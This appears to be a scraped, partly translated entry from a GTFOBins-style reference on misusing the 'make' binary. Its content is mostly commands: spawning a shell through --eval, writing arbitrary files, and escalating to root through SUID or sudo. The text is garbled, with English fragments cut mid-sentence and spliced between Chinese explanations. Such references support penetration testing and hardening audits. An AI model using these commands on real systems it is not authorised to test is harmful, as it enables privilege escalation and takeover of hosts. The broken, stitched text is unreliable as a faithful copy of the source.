make
due to the lack of support of the --eval
flag. The same can be achieved by using a proper Makefile
or by passing the content via stdin using -f -
. 用来生成一个交互式的系统shell。
COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
将数据写入文件中。
make
version. LFILE=要写入的文件
make -s --eval="\$(file >$LFILE,DATA)" .
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"